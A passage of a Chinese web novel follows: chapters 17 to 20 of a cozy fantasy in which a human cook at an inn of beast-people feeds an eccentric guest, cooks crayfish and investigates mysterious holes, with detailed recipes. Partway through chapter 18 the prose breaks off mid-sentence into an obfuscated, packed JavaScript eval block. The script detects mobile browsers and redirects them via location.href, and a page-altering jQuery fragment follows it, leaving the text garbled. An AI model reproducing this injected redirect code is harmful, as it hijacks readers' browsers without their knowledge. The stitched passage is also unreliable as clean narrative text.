简菡被她吓了一跳，见是她，便笑着招手：“来得正好，快进来一起吃。”她起身给雪翎拿了碗筷，又添了一碗米饭。 雪翎乐呵呵地坐到她旁边，毫不客气地夹起一筷子鹿茸菇送入口中，顿时被那麻辣鲜香脆爽的口感征服，满足地眯起了眼：“唔！好吃！太下饭了！” 她一边吃，一边含糊不清地称赞，手里的筷子就没停过。 她边吃，还不忘给简菡传递消息：“哎，你说奇不奇怪，楼上那位喜鹊姑娘，自从进了房间，就一点动静都没有了，安安静静的，跟她白天那样子判若两人。” 雪翎压低了声音，神秘兮兮地说道，“我方才送热水上去，敲门她都没应，我还以为她出去了呢。结果从门缝里一看，她正坐在桌前，对着那包……那包毒蘑菇发呆呢！眼神直勾勾的，怪吓人的。” 简菡对此，深有感受。 她放下筷子，叹了口气道：“谁说不是呢！你不知道，她中午给我一包毒蘑菇，非要让我做。我好不容易从里面挑出几根能吃的竹荪炖了汤，她居然还非要把那包毒蘑菇当宝贝似的捡回去供着！我跟她说有毒她根本不听！” 想到雀鸣当时那执拗甚至癫狂的神情，简菡现在还觉得心里毛毛的。 那种眼神，不像是在看一包致命的毒物，倒像是在看什么稀世珍宝，让人不寒而栗。 “唉！” 两个人同时叹了口气，看着滋滋作响的干锅，都觉得这美味似乎也压不住对那位古怪喜鹊姑娘的担忧。 真希望这尊行为诡异的大神赶紧走啊！ 两人心里不约而同地祈祷。 这喜鹊姑娘再住下去，还不知道要闹出什么幺蛾子来呢。 17. 白菜炝锅面 说来也奇怪。 自从雀鸣住进楼上那间最便宜的小客房，便如同石沉大海，再没露过面。 整整三天了！ 客房内悄无声息，送去的饭菜原封不动地放在门口，第二天又原样收回。 若不是偶尔能听见极其轻微的、窸窸窣窣的动静，像是有人在屋内踱步，又像是笔尖快速划过纸张的沙沙声，简菡几乎要怀疑那位行事诡异的撰笔姑娘是不是悄无声息地死在了里面。 这种未知的状况让整个客栈都笼罩在一层淡淡的焦虑中。 她后续也跟墨无咎提过房钱的事，就算她愿意舍去中午那一钱银子，那点钱也就够付一天的房费。 墨无咎当时只是抬起眼皮，用那双冰冷的猫瞳瞥了她一眼，尾巴不耐烦地甩了甩，似乎在说“这烂摊子你自己看着办”。 可这位喜鹊姑娘这样一直赖在里边，不开门，不露面，不结账…… 客栈里还真没人敢去敲门问个究竟。 哪怕是平日里看起来模样最横的掌柜汪屿，一想到她那追着人问问题的架势以及雪翎和简菡描述的她对着毒蘑菇发癫的模样，他也怂得不敢去敲响那间房，甚至每次路过那扇房门时都会不自觉地放轻脚步。 第四天上午，大家像往常一样在客栈大堂里待着。 “咚咚咚。” 楼上忽然传来了清晰的脚步声！打破了连续几日的死寂！ 那声音不紧不慢，却带着一种莫名的压迫感，在安静的酒楼里回荡。 那几个兽人耳朵何等灵敏，简菡还没反应过来呢，就见刚才还各据一方的三人如同被开水烫了脚，“噌”地一下蹦起来，动作那叫一个整齐划一！ 墨无咎“唰”地合上账本，身形一闪就钻到了柜台底下，只留一条黑色的猫尾巴尖在外面紧张地扫来扫去；汪屿猛地睁开眼，狼耳机警地转向声音来源，下一秒就如一道闪电般蹿向了后院；雪翎更是吓得直接把瓜子一扔，雪白的翅膀差点扑腾出来，连滚带爬地跟着汪屿往后院跑！ 眼见雪翎和汪屿都去了后院，柜台里的墨无咎也跳出来，顺着楼梯后的近路往厨房跑，动作敏捷得根本不像个整天拨算盘的账房。 “怎么了这是？！” 简菡被他们这突如其来的动作搞得一脸懵，握着一把瓜子愣在原地，完全不明白发生了什么。 她的人类耳朵可没有兽人们那么灵敏，直到那脚步声越来越近，她才后知后觉地意识到--楼上那位，终于出来了！ 她还懵着呢，二楼的走廊上忽然出现了一个身影。 雀鸣出来了！ 她看起来……似乎和几天前没什么不同。 依旧穿着那身色彩斑斓的八破晕裥裙，头上的薄膜状翅膀耳饰随着她迈步微微颤动。 只是，她的脸色似乎过于苍白了些，眼睛红得吓人，布满血丝，眼下乌青，黑眼圈和眼袋连在一起，眼瞧着肿成了大眼泡子。但是她的精神头却异常亢奋，眼睛里闪烁着一种奇异的光芒，仿佛发现了什么天大的秘密一般。 反应过来的简菡也赶紧开溜，可她刚迈出脚，就被楼上的雀鸣一眼看见，紧接着那清亮又带着点急切的声音就响彻了大堂。 “那个小姑娘！对，就是你！” 该死！ 简菡低咒一声，只能僵着身子，极其缓慢地转了过来，脸上挤出一个比哭还难看的笑容：“雀、雀姑娘有何吩咐？” 她心里疯狂呐喊：那三位也太不够意思了！跑得比兔子还快！留我一个人面对这个不知道是福是祸的姑奶奶！ 雀鸣脚步轻快地从楼梯上下来，走到简菡面前，很是自然地说道：“退房，顺便再给我做碗面吧！三天没怎么吃东西，还真有点饿了。” “可……” 简菡正犹豫着要不要硬着头皮说出她已经欠了好几天房钱的事，眼角余光就瞥见大堂和厨房连通的那扇窗户上，猛地探出三个脑袋――汪屿、雪翎和墨无咎！ 三个人挤在窗户边，对着她疯狂摇头摆手，表情惊恐，动作幅度大得窗户框都装不下！ 这是……别要欠款？ 简菡拿不准主意，但看队友们那吓破胆的样子，到嘴边的话只好咽了回去，含糊地“嗯”了一声。 “客官稍等，面马上就好。” 说完，她也如同得了特赦令，撒开腿就以百米冲刺的速度跑进了厨房，仿佛后面有厉鬼在追。 一进厨房，她就猛地关上门，背靠着门板大口喘气：“怎么说？到底要不要钱啊？！” “算了吧！” 汪屿心有余悸地率先开口，狼耳朵都紧张成了飞机耳撇在脑袋边上，紧贴着头发。 “她能自己走出来，主动提出退房，比什么都强！只要她肯走，那点房钱我不要了！” 破财消灾，破财消灾啊！ 简菡见旁边的雪翎和墨无咎也十分认同地猛点头，墨无咎甚至用爪子在地上划了个“走”字。她也立刻投了赞同票。 这姑奶奶不走，谁都别想过安生日子。 “行吧……” 简菡叹了口气，认命地开始和面。 欠着钱，还想吃面？ 她目光在厨房里扫了一圈，掠过墙角那筐水灵灵的大白菜时，心里瞬间有了主意。 行，就做一碗朴实无华却暖胃暖心，最主要是成本低廉的白菜炝锅面吧！ 她取来面粉，加入少许盐，分次倒入清水，熟练地揉成一个光滑柔软的面团，盖上湿布放在一旁醒着。趁着醒面的工夫，她将肥瘦相间的五花肉用刀切成薄的透光的片状，又将那颗大白菜掰下几片嫩叶，洗净后切成细丝。 面团醒得差不多了，她在案板上撒上干面粉，将面团揉搓成长条，再用擀面杖擀成一张薄厚均匀的大面片，反复折叠起来，用刀切成粗细均匀的面条，抖散开来备用。 热锅凉油，放入切好的五花肉片，小火煸炒，直到肉片微微卷曲，肥油被逼出，变得金黄焦香。接着下入几粒花椒炸出香味，捞出不用 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读懂了队友们沉重而期盼的目光，简菡深吸一口气，坚定地点了点头，如同肩负着神圣的使命，端着面碗，视死如归地走向大堂。 她把面碗轻轻放在雀鸣面前的桌子上：“雀姑娘，您的面好了，请慢用。” 桌面上，那碗白菜炝锅面热气腾腾，汤色清亮，隐约能看到底部的面条。 手擀面条粗细均匀，透着筋道的光泽，浸泡在泛着油花的清汤里。焦香的五花肉片和炒得软甜的白菜丝覆盖在面上，简单的搭配却勾人食欲。一股混合了猪油焦香、白菜清甜和面食特有麦香的气味扑面而来，温暖而踏实。 雀鸣显然饿极了，眼睛一亮，也顾不上烫，拿起筷子就夹起一撮面条吹了吹送入口中。 面条入口爽滑筋道，带着浓郁的小麦香气和恰到好处的嚼劲。 她又喝了一口汤，汤汁咸鲜适中，融合了肉香、白菜的甜润和胡椒的微微辛辣，喝下去从喉咙一直暖到胃里，舒服极了。 她吃得很快，却并不粗鲁，腮帮子被食物塞得鼓鼓的，眼睛满足地眯起，仿佛这碗简单朴素的面条是什么绝世美味。 简菡见她吃得专心，放下碗就想开溜。 可她的脚刚挪动一步，就瞥见通往后院的窗户上，那三道黑影又出现了！ 正在使劲地摆手，示意她留下！盯着！ 简菡咬紧后槽牙，心里把那三个没义气的家伙骂了千百遍，只能硬着头皮，慢吞吞地在对面的凳子上坐了下来，脸上挂着僵硬的微笑，看着雀鸣吃面。 三个禽兽！ 呜呜呜！凭什么这种“好事”总是轮到我！ 简菡在心里泪流满面，表面上却还得保持微笑，度秒如年。 她甚至能感觉到背后那六道灼热的视线，仿佛在说“坚持住，就靠你了”。 简菡欲哭无泪，这简直比上刑还难受，每一秒都是煎熬。 18. 麻辣小龙虾 知道雀鸣饭量大，简菡做这碗白菜炝锅面时还特意加了量，面条堆得冒尖，汤也盛得满满当当。 谁知道，这喜鹊姑娘吸溜吸溜，风卷残云一般，竟然将那么大一碗面，连汤带面加肉菜，全都吃了个干干净净！ 碗底干净得能照出人影！ 这…… 汪屿不是说兽人修炼后大多辟谷，吃饭只是尝个味道吗？ 这雀鸣姑娘的食量都快赶上三个壮劳力了！ 简菡对此十分狐疑，目光甚至不自觉地飘向了后厨窗户。 那三道黑影还扒在那里偷看呢！ 而且……汪屿不会是框她的吧？其实兽人也很能吃？ “唔！满足！”雀鸣适时地发出一声饱含幸福的喟叹，打断了简菡的思绪。 她放下空碗，甚至还意犹未尽地舔了舔嘴角，然后毫无形象地抱着微微鼓起的肚子，靠在椅背上，一副餍足的模样。 简菡看着她这架势，没敢急着上前收碗，生怕这位姑奶奶还没吃饱，再要一碗。 “结账！”雀鸣歇了片刻，终于想起了正事，坐直身子说道。 这喜鹊姑娘还知道给钱啊！ 简菡心里小小地惊讶了一下，目光下意识地又偏移向窗户。 果不其然，那三道黑影又在疯狂摆手，动作幅度大到窗户框都仿佛在呻吟！ 简菡深吸一口气，挂上最标准的职业假笑，语气尽可能轻松自然：“客官您说笑了，您是我们客栈的贵客，这碗面就当是小店送的，房费也结清了，不要钱。” 她心里疯狂祈祷：快走吧快走吧，只要您肯走，倒贴钱都行！ 被免单了，竟然还有人不高兴。 这喜鹊姑娘雀鸣不仅脸上没有半分欢喜，反而微微蹙起了眉头，目光变得锐利起来，紧紧盯着简菡，上下打量着她，那眼神仿佛在审视什么可疑物品。 “你们……”她拖长了语调，声音里带着明显的怀疑，“不会是黑店吧？先用美食迷惑客人，然后……谋财害命？” 何来此说啊！ 这话吓得简菡魂飞魄散，连连摆手，声音都提高了八度：“怎么会！雀姑娘您可千万别误会！我们汪仙楼是正经开门做生意的，做的都是街坊邻居的生意，赚的都是辛苦钱，价格公道，童叟无欺！我们可不是黑店啊！” 她急得额头都快冒汗了，这喜鹊姑娘的脑回路怎么总是如此清奇？！ 纵使简菡再怎么指天画地、赌咒发誓地解释，雀鸣就跟听不见似的，依旧用那种审视怀疑的目光打量着她和这间客栈，显然就是没信。 “真的！千真万确！”简菡都快哭出来了，情急之下搬出了救兵，“不信您可以去问问镇妖司的穆阳大人！他可以为我们作证！我们……” “好了！”雀鸣忽然抬起手，打断了简菡急切的辩解。 她脸上露出一副“我早已看透一切”的高深表情，点了点头，语气深沉：“不用说了，我懂得，都懂。” 简菡看着她那奇怪的眼神和表情，怎么看怎么不自在，心里直打鼓：你懂什么了？我怎么觉得你完全没懂，而且好像误会得更深了呢？！ 但见这位大神已经开始拿起放在旁边凳子上的那个鼓鼓囊囊的布包袱往胳膊上挎，显然去意已决，简菡也只好硬生生咽下了那团翻涌的疑虑和冲到嘴边的更多解释。 算了，走吧走吧，只要肯走，被当成黑店也认了！ 雀鸣挎好包袱，迈步就往客栈门外走。 简菡跟在她身后半步远的地方，大气都不敢喘，心提到了嗓子眼，生怕她走到门口忽然又后悔了，或者想起什么没问完的问题，决定再住几天。 就在二人擦肩而过，雀鸣的一只脚已经迈出门槛的瞬间，她忽然毫无预兆地回过头！ “！” 简菡吓得一个激灵，差点跳起来，心脏砰砰狂跳，“怎……怎么了？” 她紧张地看着雀鸣，手心里全是汗，生怕她又要问什么刁钻古怪的问题，或者因为她把自己当成黑店而给她一下子出出气。 “没什么！”雀鸣看着她受惊的样子，忽然咧开嘴笑了起来，笑容竟有几分纯粹和真诚，“就是想告诉你，你做的饭真的很好吃！尤其是那碗面，很暖和。” “谢……谢谢！”简菡被她这突如其来的夸奖搞得有点懵，磕磕巴巴地道了谢，心里却更加五味杂陈。 雀鸣冲她摆了摆手，终于彻底走出了汪仙楼的大门，身影很快消失在了街道的人流中。 谢天谢地！可算走了！ 简菡腿一软，差点没瘫坐在地上。 她扶着门框，长长地、长长地舒了一口气，感觉压在心口三天多的大石头终于被搬走了！ 根本不需要她招呼，后厨门“砰”地被撞开，汪屿、雪翎和墨无咎如同脱缰的野马般欢呼着冲了出来！ “走了？！真走了？！” “苍天有眼啊！这尊大神终于送走了！” “喵嗷！（可算解放了！）” 三个人争先恐后地扒着门框和窗户，探出脑袋使劲张望，直到亲眼确认那个穿着斑斓裙子、背着布包的身影确实消失在街角，再也看不见了，大家这才真的松了一口气，纷纷瘫坐在大堂的椅子上，一副劫后余生的模样。 简菡看着他们那没出息的样子，想起刚才自己被推出去“顶雷”的经历，气就不打一处来。 她对着他们的背影挨个狠狠地瞪了一眼，冷哼一声，抱起桌上的脏碗筷，扭身就去了后厨，把门摔得山响。 她可没忘记是这三个不讲义气的兽人关键时刻把她一个人丢出来受苦的！ 此仇不报非君子！ 机会很快就来了。 下午，聂松送来了一大筐活蹦乱跳、张牙舞爪的小龙虾，说是河里新捞的，送给简菡尝鲜。 简菡看着那筐青壳红钳、活力十足的小龙虾，眼睛一转，计上心来。 她提着小龙虾筐，走到大堂，对着那三个正瘫着回味“送神”喜悦的家伙，露出了一个极其“和善”的笑容：“几位，歇够了吧？来，活动活动筋骨。” 汪屿、雪翎和墨无咎顿感不妙。 片刻后，后院井边。 汪屿、雪翎、墨无咎三人排排坐，每人面前放着一个木盆和一把旧刷子，盆里是密密麻麻、还在试图越狱的小龙虾。 “刷干净点哦，”简菡抱着胳膊，像个监工一样在他们身后踱步，脸上是毫不掩饰的“报仇”的快意，“每一个都要刷干净，尤其是肚皮和钳子缝里的泥！要是待会儿我吃出沙子来……” 她故意拖长了语调，威胁意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588534|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十足。 君子报仇十年不晚，女子报仇从早到晚！ 简菡理所应当地享受着这三个“小工”的战战兢兢和付出。 汪屿看着手里张牙舞爪的小龙虾，一脸嫌弃，狼耳朵都耷拉下来了；雪翎小心翼翼地用刷子戳着龙虾背，生怕被夹到手；墨无咎更是直接，试图用眼神杀死这些不听话的小东西，猫瞳竖成了一条线。 在简菡的“淫威”之下，三人只得苦哈哈地开始刷洗。 一时间，后院只剩下哗啦啦的水声、刷刷的洗刷声，以及小龙虾挣扎的窸窣声。 好不容易将一大筐小龙虾刷洗干净，简菡这才满意地接手。 麻辣小龙虾的做法，讲究一个猛火爆炒，香料足味。 热锅倒入大量的菜籽油，油温升高后，先下一把干辣椒和一大把花椒爆香，那麻辣味瞬间冲鼻而起，霸道十足！接着加入豆瓣酱和一大块火锅底料，炒出红油和浓郁的复合香味。然后放入葱段、姜片、蒜瓣、以及八角、桂皮、香叶等香料，继续翻炒，让所有香料的滋味充分融合释放。 这时，将沥干水分的小龙虾“哗啦”一声全部倒入锅中，快速翻炒，让每一只小龙虾都均匀地裹上红亮诱人的酱料。烹入料酒去腥，加入适量的酱油、糖和盐调味，继续大火猛炒。 炒至虾壳变红发亮，倒入适量的酒和少许清水，水量刚好没过小龙虾即可。大火烧开后，转为中火，盖上锅盖焖煮一段时间，让小龙虾充分吸收汤汁的麻辣鲜香。 最后打开锅盖，大火收汁，汤汁变得浓稠，紧紧包裹在每一只小龙虾上。撒上一把切段的香菜即可出锅。 简菡直接用一个大铜盆装满了这色泽红亮诱人、香气麻辣霸道的麻辣小龙虾，端到了大堂的桌子上。 那浓郁的香味早就勾得刷了半天虾的三人饥肠辘辘，口水直流。 “还愣着干嘛？吃啊！自己动手，丰衣足食！”简菡率先坐下，裸手上阵，抓起一只还冒着热气的小龙虾。 其他三人立刻围坐过来，也顾不上什么形象了，纷纷动手。 剥开红艳的虾壳，露出里面饱满弹牙的虾肉，蘸一下盆底浓郁麻辣的汤汁，送入口中。 虾肉鲜甜紧实，口感Q弹，麻辣咸香的滋味瞬间占领了整个口腔，刺激着味蕾，让人忍不住一个接一个地吃下去，根本停不下来！ 越是吸吮手指上的汤汁，越是觉得麻辣过瘾，欲罢不能！ 简菡还特意搬来一坛子冰镇的米酒，给大家满上。 四个人围坐一桌，就着麻辣鲜香的小龙虾，喝着冰爽甘甜的米酒，吃得满手满嘴都是红油，酣畅淋漓，大呼过瘾。 之前被喜鹊姑娘折腾的郁闷和刷虾的辛苦，仿佛都在这麻辣鲜香和推杯换盏中烟消云散了。 汪屿吃得狼耳朵愉悦地抖动，雪翎辣得直吐舌头却还忍不住去拿下一个，连一向矜持的墨无咎也顾不上形象，吃得飞快，猫尾巴在身后满足地轻轻摇晃。 月光透过窗户洒进来，照着一桌狼藉和四个吃得心满意足的人。 空气中弥漫着麻辣小龙虾的余香和米酒的醇甜，还有轻松欢快的笑声。 简菡看着眼前这一幕，心里那点“报仇”的小心思早就没了，只剩下满满的暖意和惬意。 这才是人过的日子嘛！ 19. 芸豆肉丁包 一觉醒来，简菡迷迷糊糊地睁开眼，还没完全清醒，就被眼前墙壁上的异样吓了一跳。 墙上……有个洞！ 那洞就在她床头不远处的土墙上，不高不低，正好在视线平齐的位置。 她“咦”了一声，揉揉眼睛，凑了过去。 洞不大，圆圆的，边缘异常光滑整齐，勉强能塞进她攥紧的拳头，但往里伸一点点就被卡住了。 “我记得这墙上之前没洞啊！” 简菡嘀咕着，觉得十分奇怪。 她努力朝那黑黢黢的洞里张望，可里面乌漆嘛黑的，什么都瞧不见。 她又回身从桌上摸了根蜡烛点燃，凑到洞口。烛火本就昏暗，因着是白日，这点光线的照明效果就更弱了，依旧看不清洞里有什么名堂。 “要是有手电筒就好了！”简菡叹了声气，举着蜡烛看了半天，也看不出有什么不对劲，只好悻悻作罢，心里却留下了个疙瘩。 她洗漱完，换上一身利落的窄袖襦裙，将头发简单挽起，便推门出了房间，准备开始一天的忙碌。 刚走到大堂，她就发现气氛有点不对。 汪屿、墨无咎和雪翎竟然都早早聚在了大堂中央的那张桌子旁，三个脑袋凑在一起，低声议论着什么，表情一个比一个凝重。一见她出来，三人立刻停止了交谈，齐刷刷地看向她，眼神复杂。 “简菡！快来！”雪翎率先朝她招手，脸上是掩不住的紧张。 “怎么了？” 简菡疑惑地走过去，刚坐下，雪翎就一把抓住她的手，力道大得让她微微吃痛。 “你屋子……墙上或者地上，有没有什么不对劲？”雪翎压低了声音，一双雪白的羽翅耳饰因为紧张而微微颤抖。 简菡的脑袋里“嗡”地一下，瞬间就想到了那个莫名其妙出现的圆洞。 她点了点头，刚要开口细说，就见对面三人脸上齐刷刷露出了“果然如此”、“我就知道”的表情。 “你们……”简菡看着他们的反应，一个念头闪过，惊讶地瞪大了眼睛，“你们房间也有？” 果不其然，三个人都不约而同地、沉重地点了点头。 雪翎性子最急，最是憋不住话。还不等简菡细问，她便叽叽喳喳、连比划带说地倒豆子般讲了起来。 一大早，汪仙楼就莫名其妙多了很多这样的小圆洞！ 雪翎睡醒时还没发现，她打着哈欠来到大堂，就见汪屿和墨无咎正撅着屁股，脑袋几乎贴到地上，在柜台角落那里交头接耳，神情严肃。 她觉得好笑，上去就轻轻踢了墨无咎的屁股一脚，正要笑话他们大清早搞什么名堂。这一凑近，她才赫然发现他们俩正在研究的，是地板上一个圆洞！ 墨无咎常年以猫身就睡在柜台上，猫科动物睡觉又最是惊觉，稍有风吹草动就会醒来。可就连他，都对一夜之间多出来的这个洞毫无察觉！ 他们立刻觉得这洞蹊跷无比，当下便把整个客栈里里外外快速检查了一遍。 这一查可不得了！ 发现不仅仅是柜台边的地板，大堂的墙壁、厨房的灶台边、楼上客房的墙角、甚至后院的柴堆和水井沿上，都有！ 形状、大小、深浅几乎分毫不差，全是那种光滑整齐的圆洞！ 雪翎当时就吓得跑回自己房间仔细检查。 果然，她屋里的墙上也有一个！ 三个人在这讨论一早上了，汪屿的狼鼻子嗅来嗅去没闻到陌生气味，墨无咎的猫耳朵也没听到异常动静，雪翎更是啥特殊感觉都没有。 三个自诩感官敏锐的兽人，谁都没弄明白这一夜之间多出来的诡异洞窟到底是怎么来的！又是为何而来！ 现在客栈里唯一的人类也到了，果然，简菡的屋子也没能幸免。 墨无咎蹲在椅子上，用爪子比划着，沉吟道：“看这大小和爪印……有点像老鼠打的。但这洞也太圆太光滑了，普通老鼠可没这手艺。” 他甩了甩黑色的尾巴尖，补充道，“而且，能一夜之间在咱们眼皮子底下打出这么多形状大小完全一致的洞，要么是数量极多的老鼠团伙作案，要么……就是这老鼠实力非凡，绝非寻常之辈。” 几个人说来说去，猜了半天，也没说出个所以然来，反而越想越觉得背后发凉。 “报官吧！”简菡听得头皮发麻，果断打断了他们越来越离谱的猜测，“这事明显不对劲，超出咱们能处理的范围了。” “报官？” 三个人齐刷刷地看向简菡，霎时间都愣住了，随即脸上纷纷露出茅塞顿开的表情。 对啊！他们怎么没想到啊！ 很快，收到消息的穆阳大人便带着一队衙役赶来了。 穆阳穿着笔挺的官服，神情严肃，仔细听取了汪屿和简菡等人的描述，然后亲自带人把客栈每个角落都仔细检查了一遍。 可任凭他们怎么查，除了数量众多、分布广泛、形状一致的奇怪圆洞之外，再没发现任何其他线索。 一没丢东西，二没有人员伤亡，甚至连一点挣扎打斗或者外人闯入的痕迹都没有。这些洞就好像是凭空长出来的一样。 穆阳差人详细登记了汪仙楼的情况，摸着下巴，也有几分赞同墨无咎最初的推测：“看这痕迹，确实像是某种啮齿类动物所为，但又有些……过于工整了。” 他办案多年，也是头一次见到这种怪事。 他目光扫过客栈，冷不丁瞧见对面衔蝉苑的牌匾，眼睛一亮，有些不好意思地给他们提了个建议：“那个……鼠患之事，虽说归我们管，但若要论追踪探查，猫科兽人乃是行家里手。要不……你们去对面借几只猫来帮忙看看呢？或许能有意外发现。” 刷刷刷！ 穆阳话音未落，三道目光齐刷刷地、带着某种期盼和压力看向了简菡。 “瞧我干什么？”简菡被看得不自在，“我跟对面的恩怨早就在上次比武招亲卖卤味的时候便一笔勾销了。” 有了她这话，汪屿也便少了不少顾忌。 “但……”他拉长声音，狼耳朵狡黠地动了动，看向穆阳，提出了一个非常实际的问题：“穆大人，请猫崽子们来的工钱和期间的食宿费……是衙门出吧？” 穆阳听见这话，顿时吹胡子瞪眼的：“汪屿！你好歹也是一店之主，还差这点小钱了？！为民除害，配合官府办案，不是应该的吗！” “差啊！怎么不差！”汪屿双臂抱胸，理直气壮，“您又不是不知道，我们这小本经营，生意清淡。要不是之前运气好捡了个好厨娘回来，我们客栈现在估计早就关门倒闭，喝西北风去了！” 穆阳被他的话噎了一下，听出他话里的刺，没好意思接这个话茬，只翻了个白眼表达自己的不满。 “行了行了，本官去对门帮你问问，但丑话说在前头，”他指了指对面，“对面那位，可比你还是个一毛不拔的吝啬鬼呢！” 汪屿摊开手，怂了下肩，一副“那我就没办法了”的样子。 穆阳没忍住，又翻了个白眼，整了整官服，硬着头皮往对门衔蝉苑走去。 不多时，他便从对面回来了。 令人惊讶的是，他身后竟然真的跟了七八只猫郎！ 以苗澈为首，这些猫兽人身上衣衫都松松垮垮的，露出线条优美的锁骨和胸膛，发间毛茸茸的猫耳和身后慵懒晃动的尾巴显示出他们似乎是从睡梦中被临时抓来的，一个个睡眼惺忪，打着哈欠，透着一种慵懒又性感的气息。 嚯！ 这场面太过“香艳”，简菡和雪翎下意识地互相伸手蒙住了对方的眼睛。 非礼勿视！非礼勿视！小心长针眼！ 苗澈依旧是那副慵懒的模样，银色的猫耳微微抖动，似笑非笑地扫了一眼汪仙楼内的景象。 他倒是爽快，答应了免工钱和住宿费，唯一的条件就是——包吃！不光要包一日三餐，还得吃好！ 穆阳将苗澈的条件转达给汪屿，汪屿抱着胳膊，没说话，既不明确赞同也不反对。 穆阳夹在中间，看着左右两侧背对背、根本不看对方一眼、仿佛有什么深仇大恨的两位大爷，只觉得一个头两个大，只好叹了口气，自作主张地拍板：“行！那就当你们二人都同意了！就这么定了！” 这办案捉拿匪徒本就是官府的责任。 如今，都得去对面借调“民间力量”来帮忙了，官府要是不留个人下来主持协调，实在也说不过去。 于是，穆阳转过身，对着自己带来的那一队衙役，清了清嗓子，问道：“你们谁手上暂时没紧急任务，可以留下协助他们办案？” 他目光扫过去，手下那帮衙役立刻开始各种理由推脱： “头儿，我媳妇儿这两天就要生了，实在离不开人啊！” “大人，我老娘旧疾复发，缠绵病榻，我得回去侍疾煎药！” “穆大人，我手上还有东街王员外家失窃的案子没结呢！” “我……我得去巡街了！今 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简菡认命地系上围裙，钻进了厨房。眼看快到中午了，做复杂的炒菜肯定来不及，她决定蒸几大笼包子，再配个简单的汤。 她先和了一大盆面，放在温暖处发酵。然后开始准备馅料。 取来肥瘦相间的猪肉，切成方丁，用酱油、料酒、葱姜末和少许糖腌制入味。又将一大把芸豆洗净，放入沸水中焯烫至断生，捞出过凉后，也切成细碎的小丁。将腌好的肉丁和芸豆丁混合，加入适量的盐、胡椒粉和一大勺香气浓郁的熟油，顺着一个方向搅拌均匀。 这时面也发好了，膨松柔软，满是蜂窝。她将面团揉搓排气，分成大小均匀的剂子，擀成中间厚四周薄的包子皮，包入满满的馅料，手指灵巧地捏出漂亮的褶子。将包子放入垫了笼布的蒸屉中，盖上盖子进行二次醒发。 趁着醒发的工夫，她开始做番茄蛋花汤。 几个熟透的番茄洗净，顶部划十字刀，用开水烫一下，轻松剥去外皮，切成小丁。热锅少油，下入番茄丁翻炒，用锅铲按压，炒出浓郁的番茄红汁，加入足量的清水烧开。调入适量的盐和少许糖，综合酸味。然后淋入打散的鸡蛋液，形成漂亮的蛋花。最后撒上一把切碎的葱花，滴几滴香油。 这时包子也醒发得差不多了，将蒸屉坐上滚开的锅，大火蒸制。 不一会儿，白色的蒸汽便带着面食和肉馅的混合香气弥漫开来。 好香啊！ 雪翎在大堂就闻到了厨房飘出的香味，忽然被吸引住了。 她看了眼各占据大堂一边、气氛依旧有些微妙的苗澈和汪屿，默默钻去了厨房。 “做什么好吃的呢？” 雪翎扒着厨房门框，吸着鼻子问。 简菡正愁一个人忙不过来，见她来了，脸上立刻露出一抹得救了的笑容：“来得正好！快帮我端包子！小心烫！” 包子是按笼屉往上端的，一笼摞一笼，热气腾腾，白胖诱人。汤是按照木桶往大堂抬的，红色的番茄、黄色的蛋花、绿色的葱花，看着就让人食指大动。 摆饭的时候，场面有点诡异。 简菡自然跟汪屿、雪翎、墨无咎坐在他们平时吃饭的那张长桌上。 苗澈却带着他的猫郎们，自发地聚到了靠近后院门口、离他们最远的桌子。 而穆阳…… 穆阳左右看了看，似乎觉得哪边都不太合适，干脆自己拉了张单独的小桌子，放在了通往二楼的楼梯口，正好处于两拨人马的中间位置。 简菡的目光在这三堆人之间微妙地游离，总觉得有种说不出的怪异感，仿佛有一条无形的鸿沟横亘在其中。 汪屿和苗澈不仅没有任何交流，连眼神都不对视。 奇怪！ 简菡收回目光，决定先填饱肚子再说。 她拿起一个热气腾腾的芸豆肉丁包，咬上一口。 面皮蓬松柔软，带着发酵后特有的微甜麦香。内馅咸鲜可口，芸豆丁清脆甘甜，很好地中和了肉丁的油腻，口感层次丰富，越嚼越香。 再喝一口番茄蛋花汤，汤体温热酸甜，番茄的天然果酸刺激着味蕾，蛋花滑嫩，喝下去格外舒坦暖胃，正好化解了包子的干噎感。 简菡将嘴里的包子细细嚼完，放下手中的半个包子，端起碗又喝了一口汤。她的目光再次不经意地扫过那三张桌子。 这三人……有秘密啊！ 20. 脆皮烤鱼 众人精神高度紧张地警惕了一天，客栈里却风平浪静，什么事情都没发生。 那些诡异的圆洞依旧在那里，不增不减，仿佛只是客栈装饰的一部分，除此之外，再无任何异样。 夜幕降临。 简菡打了个大大的哈欠，揉着有些发酸的眼睛站起身，准备去后院厨房张罗晚饭。 担惊受怕了一天，比平时干活还累。 她刚站起身，还没来得及迈步，就被穆阳喊住了。 “简姑娘，且慢！” 穆阳神色严肃，牧羊犬耳朵警惕地竖着，“眼下情况不明，敌暗我明，你一介凡人，手无缚鸡之力，独自行动恐有危险。” 他目光扫过满屋子的兽人，这些家伙多多少少都有些灵力傍身，唯有简菡是实实在在的“弱势群体”。 雪翎闻言，立刻主动请缨，雪白的羽翅耳饰抖了抖：“我陪简菡去！有个照应！” 她可不想一直待在这大堂里，太无聊了。 有这么一群大胃王在，想想晚饭的工程量，简菡就觉得头疼。 还好她早有准备。早上聂松来取卤货的时候，她就嘱咐过他晚些时候带几条新鲜肥美的清江鱼回来。 两人来到厨房，简菡看着水盆里那几条还在蹦跶的鲜鱼，挽起了袖子。 她利落地捞起一条鱼，刮鳞、去鳃、剖腹洗净，用刀在鱼身两面均匀地划上几刀，方便入味。然后用姜片、葱段、料酒、盐和少许胡椒粉里外仔细涂抹均匀，腌制片刻。 趁着腌鱼的工夫，她准备好烤鱼需要的配料：切了满满一大碗的葱段、姜片、蒜瓣，又洗了一把干辣椒和花椒备用。 取一个足够大的烤盘，在盘底铺上厚厚一层切好的洋葱丝和芹菜段。这时鱼也腌得差不多了，她让雪翎帮忙，试了个小术法，仔细吸干了鱼皮表面的水分。 这可是保证鱼皮酥脆的关键一步。 